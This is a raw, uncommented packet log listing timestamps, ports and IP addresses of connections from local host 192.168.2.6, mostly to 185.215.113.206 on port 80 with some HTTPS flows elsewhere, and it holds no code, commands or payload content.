Nov 23, 2024 02:55:41.520303011 CET	80	49814	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:41.520395041 CET	49814	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:41.520733118 CET	443	49882	23.209.72.43	192.168.2.6
Nov 23, 2024 02:55:41.520766020 CET	443	49882	23.209.72.43	192.168.2.6
Nov 23, 2024 02:55:41.520807028 CET	49882	443	192.168.2.6	23.209.72.43
Nov 23, 2024 02:55:41.520833969 CET	443	49882	23.209.72.43	192.168.2.6
Nov 23, 2024 02:55:41.520864010 CET	49882	443	192.168.2.6	23.209.72.43
Nov 23, 2024 02:55:41.521017075 CET	80	49814	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:41.521119118 CET	80	49814	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:41.521224022 CET	49814	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:41.521224022 CET	49814	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:41.521843910 CET	80	49814	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:41.521910906 CET	49814	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:41.521943092 CET	80	49814	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:41.522033930 CET	49814	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:41.522660971 CET	80	49814	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:41.522718906 CET	49814	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:41.522782087 CET	80	49814	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:41.522926092 CET	49814	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:41.523477077 CET	80	49814	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:41.523583889 CET	49814	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:41.523601055 CET	80	49814	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:41.523660898 CET	49814	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:41.524322987 CET	80	49814	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:41.524395943 CET	49814	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:41.524435997 CET	80	49814	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:41.524527073 CET	49814	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:41.525136948 CET	80	49814	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:41.525212049 CET	80	49814	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:41.525223017 CET	49814	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:41.525377035 CET	49814	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:41.537636042 CET	443	49882	23.209.72.43	192.168.2.6
Nov 23, 2024 02:55:41.537739992 CET	49882	443	192.168.2.6	23.209.72.43
Nov 23, 2024 02:55:41.537755013 CET	443	49882	23.209.72.43	192.168.2.6
Nov 23, 2024 02:55:41.580710888 CET	80	49814	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:41.580770016 CET	80	49814	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:41.580790043 CET	49814	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:41.580826998 CET	49814	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:41.580882072 CET	80	49814	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:41.580910921 CET	80	49814	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:41.580976009 CET	49814	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:41.581716061 CET	80	49814	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:41.581816912 CET	80	49814	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:41.581820011 CET	49814	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:41.582437992 CET	49814	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:41.582830906 CET	80	49814	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:41.582910061 CET	49814	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:41.582966089 CET	80	49814	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:41.583049059 CET	49814	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:41.583399057 CET	80	49814	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:41.583461046 CET	49814	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:41.583477020 CET	80	49814	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:41.584048986 CET	49814	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:41.584186077 CET	80	49814	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:41.584265947 CET	49814	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:41.584304094 CET	80	49814	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:41.584450006 CET	49814	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:41.585000992 CET	80	49814	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:41.585108042 CET	80	49814	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:41.585134983 CET	49814	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:41.585252047 CET	49814	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:41.585838079 CET	80	49814	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:41.585962057 CET	80	49814	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:41.586008072 CET	49814	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:41.586025953 CET	49814	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:41.586675882 CET	80	49814	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:41.586743116 CET	49814	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:41.586822033 CET	80	49814	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:41.586880922 CET	49814	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:41.587476969 CET	80	49814	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:41.587630033 CET	80	49814	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:41.587693930 CET	49814	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:41.588310957 CET	80	49814	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:41.588399887 CET	49814	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:41.588423014 CET	80	49814	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:41.588977098 CET	49814	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:41.589020967 CET	443	49884	13.107.246.63	192.168.2.6
Nov 23, 2024 02:55:41.589153051 CET	80	49814	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:41.589250088 CET	49814	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:41.589260101 CET	80	49814	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:41.589345932 CET	49814	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:41.589478970 CET	49884	443	192.168.2.6	13.107.246.63
Nov 23, 2024 02:55:41.589519024 CET	443	49884	13.107.246.63	192.168.2.6
Nov 23, 2024 02:55:41.589975119 CET	80	49814	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:41.589975119 CET	49884	443	192.168.2.6	13.107.246.63
Nov 23, 2024 02:55:41.589986086 CET	443	49884	13.107.246.63	192.168.2.6
Nov 23, 2024 02:55:41.590064049 CET	80	49814	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:41.590111971 CET	49814	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:41.590797901 CET	80	49814	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:41.590868950 CET	49814	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:41.590908051 CET	80	49814	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:41.591061115 CET	49814	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:41.591614962 CET	80	49814	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:41.591718912 CET	80	49814	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:41.591779947 CET	49814	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:41.592516899 CET	80	49814	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:41.592622995 CET	80	49814	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:41.592694998 CET	49814	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:41.593280077 CET	80	49814	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:41.593409061 CET	80	49814	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:41.593519926 CET	49814	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:41.594111919 CET	80	49814	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:41.594232082 CET	80	49814	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:41.594271898 CET	49814	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:41.594271898 CET	49814	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:41.594937086 CET	80	49814	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:41.595021963 CET	49814	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:41.595052004 CET	80	49814	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:41.595338106 CET	49814	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:41.595781088 CET	80	49814	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:41.595892906 CET	80	49814	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:41.596215963 CET	49814	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:41.596592903 CET	80	49814	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:41.596714973 CET	80	49814	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:41.596807003 CET	49814	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:41.597449064 CET	80	49814	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:41.597562075 CET	49814	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:41.647835970 CET	49814	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:41.668934107 CET	443	49882	23.209.72.43	192.168.2.6
Nov 23, 2024 02:55:41.669004917 CET	49882	443	192.168.2.6	23.209.72.43
Nov 23, 2024 02:55:41.669028044 CET	443	49882	23.209.72.43	192.168.2.6
Nov 23, 2024 02:55:41.681284904 CET	443	49880	13.107.246.63	192.168.2.6
Nov 23, 2024 02:55:41.681320906 CET	443	49880	13.107.246.63	192.168.2.6
Nov 23, 2024 02:55:41.681330919 CET	443	49880	13.107.246.63	192.168.2.6
Nov 23, 2024 02:55:41.681353092 CET	443	49880	13.107.246.63	192.168.2.6
Nov 23, 2024 02:55:41.681370020 CET	443	49880	13.107.246.63	192.168.2.6
Nov 23, 2024 02:55:41.681379080 CET	443	49880	13.107.246.63	192.168.2.6
Nov 23, 2024 02:55:41.681387901 CET	49880	443	192.168.2.6	13.107.246.63
Nov 23, 2024 02:55:41.681427002 CET	443	49880	13.107.246.63	192.168.2.6
Nov 23, 2024 02:55:41.681442022 CET	49880	443	192.168.2.6	13.107.246.63
Nov 23, 2024 02:55:41.681485891 CET	49880	443	192.168.2.6	13.107.246.63
Nov 23, 2024 02:55:41.698663950 CET	443	49882	23.209.72.43	192.168.2.6
Nov 23, 2024 02:55:41.698679924 CET	443	49882	23.209.72.43	192.168.2.6
Nov 23, 2024 02:55:41.698704004 CET	443	49882	23.209.72.43	192.168.2.6
Nov 23, 2024 02:55:41.698714018 CET	443	49882	23.209.72.43	192.168.2.6
Nov 23, 2024 02:55:41.698724031 CET	443	49882	23.209.72.43	192.168.2.6
Nov 23, 2024 02:55:41.698746920 CET	443	49882	23.209.72.43	192.168.2.6
Nov 23, 2024 02:55:41.698760033 CET	49882	443	192.168.2.6	23.209.72.43
Nov 23, 2024 02:55:41.698784113 CET	443	49882	23.209.72.43	192.168.2.6
Nov 23, 2024 02:55:41.698806047 CET	49882	443	192.168.2.6	23.209.72.43
Nov 23, 2024 02:55:41.723881960 CET	443	49882	23.209.72.43	192.168.2.6
Nov 23, 2024 02:55:41.723898888 CET	443	49882	23.209.72.43	192.168.2.6
Nov 23, 2024 02:55:41.723925114 CET	443	49882	23.209.72.43	192.168.2.6
Nov 23, 2024 02:55:41.723947048 CET	443	49882	23.209.72.43	192.168.2.6
Nov 23, 2024 02:55:41.723953009 CET	49882	443	192.168.2.6	23.209.72.43
Nov 23, 2024 02:55:41.723958969 CET	443	49882	23.209.72.43	192.168.2.6
Nov 23, 2024 02:55:41.723977089 CET	443	49882	23.209.72.43	192.168.2.6
Nov 23, 2024 02:55:41.723994970 CET	49882	443	192.168.2.6	23.209.72.43
Nov 23, 2024 02:55:41.724005938 CET	443	49882	23.209.72.43	192.168.2.6
Nov 23, 2024 02:55:41.724033117 CET	49882	443	192.168.2.6	23.209.72.43
Nov 23, 2024 02:55:41.745500088 CET	443	49882	23.209.72.43	192.168.2.6
Nov 23, 2024 02:55:41.745520115 CET	443	49882	23.209.72.43	192.168.2.6
Nov 23, 2024 02:55:41.745543957 CET	443	49882	23.209.72.43	192.168.2.6
Nov 23, 2024 02:55:41.745556116 CET	443	49882	23.209.72.43	192.168.2.6
Nov 23, 2024 02:55:41.745577097 CET	49882	443	192.168.2.6	23.209.72.43
Nov 23, 2024 02:55:41.745599985 CET	443	49882	23.209.72.43	192.168.2.6
Nov 23, 2024 02:55:41.745625973 CET	49882	443	192.168.2.6	23.209.72.43
Nov 23, 2024 02:55:41.745649099 CET	49882	443	192.168.2.6	23.209.72.43
Nov 23, 2024 02:55:41.745654106 CET	443	49882	23.209.72.43	192.168.2.6
Nov 23, 2024 02:55:41.745699883 CET	443	49882	23.209.72.43	192.168.2.6
Nov 23, 2024 02:55:41.745754957 CET	49882	443	192.168.2.6	23.209.72.43
Nov 23, 2024 02:55:41.745976925 CET	49882	443	192.168.2.6	23.209.72.43
Nov 23, 2024 02:55:41.745997906 CET	443	49882	23.209.72.43	192.168.2.6
Nov 23, 2024 02:55:41.752213955 CET	443	49883	13.107.246.63	192.168.2.6
Nov 23, 2024 02:55:41.752966881 CET	49883	443	192.168.2.6	13.107.246.63
Nov 23, 2024 02:55:41.753006935 CET	443	49883	13.107.246.63	192.168.2.6
Nov 23, 2024 02:55:41.756392956 CET	49883	443	192.168.2.6	13.107.246.63
Nov 23, 2024 02:55:41.756401062 CET	443	49883	13.107.246.63	192.168.2.6
Nov 23, 2024 02:55:41.770884037 CET	80	49814	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:41.775521040 CET	443	49886	150.171.27.10	192.168.2.6
Nov 23, 2024 02:55:41.775597095 CET	49886	443	192.168.2.6	150.171.27.10
Nov 23, 2024 02:55:41.776608944 CET	443	49886	150.171.27.10	192.168.2.6
Nov 23, 2024 02:55:41.776669979 CET	49886	443	192.168.2.6	150.171.27.10
Nov 23, 2024 02:55:41.833796978 CET	443	49881	20.198.118.190	192.168.2.6
Nov 23, 2024 02:55:41.833901882 CET	49881	443	192.168.2.6	20.198.118.190
Nov 23, 2024 02:55:41.835661888 CET	49881	443	192.168.2.6	20.198.118.190
Nov 23, 2024 02:55:41.835684061 CET	443	49881	20.198.118.190	192.168.2.6
Nov 23, 2024 02:55:41.835958958 CET	443	49881	20.198.118.190	192.168.2.6
Nov 23, 2024 02:55:41.838836908 CET	49881	443	192.168.2.6	20.198.118.190
Nov 23, 2024 02:55:41.838922977 CET	49881	443	192.168.2.6	20.198.118.190
Nov 23, 2024 02:55:41.838932037 CET	443	49881	20.198.118.190	192.168.2.6
Nov 23, 2024 02:55:41.839070082 CET	49881	443	192.168.2.6	20.198.118.190
Nov 23, 2024 02:55:41.860055923 CET	443	49880	13.107.246.63	192.168.2.6
Nov 23, 2024 02:55:41.860074043 CET	443	49880	13.107.246.63	192.168.2.6
Nov 23, 2024 02:55:41.860119104 CET	443	49880	13.107.246.63	192.168.2.6
Nov 23, 2024 02:55:41.860131025 CET	443	49880	13.107.246.63	192.168.2.6
Nov 23, 2024 02:55:41.860141039 CET	49880	443	192.168.2.6	13.107.246.63
Nov 23, 2024 02:55:41.860207081 CET	49880	443	192.168.2.6	13.107.246.63
Nov 23, 2024 02:55:41.860218048 CET	443	49880	13.107.246.63	192.168.2.6
Nov 23, 2024 02:55:41.860256910 CET	49880	443	192.168.2.6	13.107.246.63
Nov 23, 2024 02:55:41.883332968 CET	443	49881	20.198.118.190	192.168.2.6
Nov 23, 2024 02:55:41.901997089 CET	443	49885	20.199.58.43	192.168.2.6
Nov 23, 2024 02:55:41.902072906 CET	49885	443	192.168.2.6	20.199.58.43
Nov 23, 2024 02:55:41.903660059 CET	443	49880	13.107.246.63	192.168.2.6
Nov 23, 2024 02:55:41.903671980 CET	443	49880	13.107.246.63	192.168.2.6
Nov 23, 2024 02:55:41.903706074 CET	443	49880	13.107.246.63	192.168.2.6
Nov 23, 2024 02:55:41.903734922 CET	49880	443	192.168.2.6	13.107.246.63
Nov 23, 2024 02:55:41.903743029 CET	443	49880	13.107.246.63	192.168.2.6
Nov 23, 2024 02:55:41.903763056 CET	443	49880	13.107.246.63	192.168.2.6
Nov 23, 2024 02:55:41.903788090 CET	49880	443	192.168.2.6	13.107.246.63
Nov 23, 2024 02:55:41.903800964 CET	49880	443	192.168.2.6	13.107.246.63
Nov 23, 2024 02:55:41.964493990 CET	49885	443	192.168.2.6	20.199.58.43
Nov 23, 2024 02:55:41.964508057 CET	443	49885	20.199.58.43	192.168.2.6
Nov 23, 2024 02:55:41.965332031 CET	49885	443	192.168.2.6	20.199.58.43
Nov 23, 2024 02:55:41.965339899 CET	443	49885	20.199.58.43	192.168.2.6
Nov 23, 2024 02:55:42.024480104 CET	49886	443	192.168.2.6	150.171.27.10
Nov 23, 2024 02:55:42.024499893 CET	443	49886	150.171.27.10	192.168.2.6
Nov 23, 2024 02:55:42.024946928 CET	443	49886	150.171.27.10	192.168.2.6
Nov 23, 2024 02:55:42.025000095 CET	49886	443	192.168.2.6	150.171.27.10
Nov 23, 2024 02:55:42.026423931 CET	49886	443	192.168.2.6	150.171.27.10
Nov 23, 2024 02:55:42.027578115 CET	443	49884	13.107.246.63	192.168.2.6
Nov 23, 2024 02:55:42.027650118 CET	443	49884	13.107.246.63	192.168.2.6
Nov 23, 2024 02:55:42.027702093 CET	49884	443	192.168.2.6	13.107.246.63
Nov 23, 2024 02:55:42.027929068 CET	49884	443	192.168.2.6	13.107.246.63
Nov 23, 2024 02:55:42.027955055 CET	443	49884	13.107.246.63	192.168.2.6
Nov 23, 2024 02:55:42.027967930 CET	49884	443	192.168.2.6	13.107.246.63
Nov 23, 2024 02:55:42.027972937 CET	443	49884	13.107.246.63	192.168.2.6
Nov 23, 2024 02:55:42.030674934 CET	49890	443	192.168.2.6	13.107.246.63
Nov 23, 2024 02:55:42.030728102 CET	443	49890	13.107.246.63	192.168.2.6
Nov 23, 2024 02:55:42.030869007 CET	49890	443	192.168.2.6	13.107.246.63
Nov 23, 2024 02:55:42.031013966 CET	49890	443	192.168.2.6	13.107.246.63
Nov 23, 2024 02:55:42.031030893 CET	443	49890	13.107.246.63	192.168.2.6
Nov 23, 2024 02:55:42.033777952 CET	443	49880	13.107.246.63	192.168.2.6
Nov 23, 2024 02:55:42.033843040 CET	443	49880	13.107.246.63	192.168.2.6
Nov 23, 2024 02:55:42.033883095 CET	49880	443	192.168.2.6	13.107.246.63
Nov 23, 2024 02:55:42.033910036 CET	443	49880	13.107.246.63	192.168.2.6
Nov 23, 2024 02:55:42.033931017 CET	49880	443	192.168.2.6	13.107.246.63
Nov 23, 2024 02:55:42.034157038 CET	49880	443	192.168.2.6	13.107.246.63
Nov 23, 2024 02:55:42.044862986 CET	443	49880	13.107.246.63	192.168.2.6
Nov 23, 2024 02:55:42.044950008 CET	49880	443	192.168.2.6	13.107.246.63
Nov 23, 2024 02:55:42.044965029 CET	443	49880	13.107.246.63	192.168.2.6
Nov 23, 2024 02:55:42.045044899 CET	443	49880	13.107.246.63	192.168.2.6
Nov 23, 2024 02:55:42.045100927 CET	49880	443	192.168.2.6	13.107.246.63
Nov 23, 2024 02:55:42.045444965 CET	49880	443	192.168.2.6	13.107.246.63
Nov 23, 2024 02:55:42.045459986 CET	443	49880	13.107.246.63	192.168.2.6
Nov 23, 2024 02:55:42.045499086 CET	49880	443	192.168.2.6	13.107.246.63
Nov 23, 2024 02:55:42.045521021 CET	49880	443	192.168.2.6	13.107.246.63
Nov 23, 2024 02:55:42.071341991 CET	443	49886	150.171.27.10	192.168.2.6
Nov 23, 2024 02:55:42.092422962 CET	80	49814	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:42.092446089 CET	80	49814	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:42.092535019 CET	49814	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:42.092535019 CET	49814	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:42.092786074 CET	80	49814	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:42.092838049 CET	49814	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:42.092853069 CET	80	49814	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:42.092911959 CET	49814	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:42.093301058 CET	80	49814	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:42.093353987 CET	49814	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:42.093377113 CET	80	49814	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:42.093425035 CET	49814	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:42.094119072 CET	80	49814	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:42.094213009 CET	49814	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:42.094229937 CET	80	49814	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:42.094270945 CET	49814	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:42.094947100 CET	80	49814	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:42.095092058 CET	49814	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:42.095156908 CET	80	49814	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:42.095232964 CET	49814	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:42.095772028 CET	80	49814	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:42.095859051 CET	49814	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:42.095876932 CET	80	49814	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:42.096003056 CET	49814	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:42.096606016 CET	80	49814	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:42.096649885 CET	49814	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:42.096725941 CET	80	49814	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:42.097075939 CET	49814	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:42.097423077 CET	80	49814	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:42.097469091 CET	49814	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:42.097507954 CET	80	49814	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:42.097553015 CET	49814	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:42.098237991 CET	80	49814	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:42.098292112 CET	49814	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:42.098380089 CET	80	49814	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:42.098566055 CET	49814	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:42.099093914 CET	80	49814	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:42.099189043 CET	49814	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:42.099230051 CET	80	49814	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:42.099286079 CET	49814	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:42.099921942 CET	80	49814	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:42.099965096 CET	49814	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:42.100009918 CET	80	49814	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:42.100064993 CET	49814	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:42.100764990 CET	80	49814	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:42.100830078 CET	80	49814	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:42.100873947 CET	49814	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:42.100873947 CET	49814	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:42.101567984 CET	80	49814	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:42.101649046 CET	49814	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:42.101660967 CET	80	49814	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:42.101738930 CET	49814	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:42.102392912 CET	80	49814	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:42.102456093 CET	49814	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:42.102478981 CET	80	49814	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:42.102519989 CET	49814	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:42.103220940 CET	80	49814	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:42.103339911 CET	49814	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:42.103348017 CET	80	49814	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:42.103518963 CET	49814	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:42.104068995 CET	80	49814	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:42.104152918 CET	80	49814	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:42.104176998 CET	49814	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:42.104217052 CET	49814	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:42.104878902 CET	80	49814	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:42.104969978 CET	80	49814	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:42.105056047 CET	49814	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:42.105753899 CET	80	49814	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:42.105813026 CET	49814	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:42.105859041 CET	80	49814	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:42.105953932 CET	49814	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:42.106540918 CET	80	49814	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:42.106606960 CET	49814	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:42.106669903 CET	80	49814	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:42.106738091 CET	49814	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:42.107376099 CET	80	49814	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:42.107454062 CET	49814	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:42.107465029 CET	80	49814	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:42.107642889 CET	49814	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:42.108170986 CET	80	49814	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:42.108225107 CET	49814	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:42.108274937 CET	80	49814	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:42.108339071 CET	49814	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:42.108999014 CET	80	49814	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:42.109062910 CET	49814	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:42.109102011 CET	80	49814	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:42.109159946 CET	49814	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:42.109848976 CET	80	49814	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:42.109925032 CET	49814	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:42.109961033 CET	80	49814	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:42.110044956 CET	49814	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:42.110656023 CET	80	49814	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:42.110697985 CET	49814	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:42.110733032 CET	80	49814	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:42.110819101 CET	49814	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:42.111493111 CET	80	49814	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:42.111603022 CET	49814	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:42.111603975 CET	80	49814	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:42.111679077 CET	49814	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:42.112298012 CET	80	49814	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:42.112402916 CET	49814	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:42.112452984 CET	80	49814	185.215.113.206	192.168.2.6
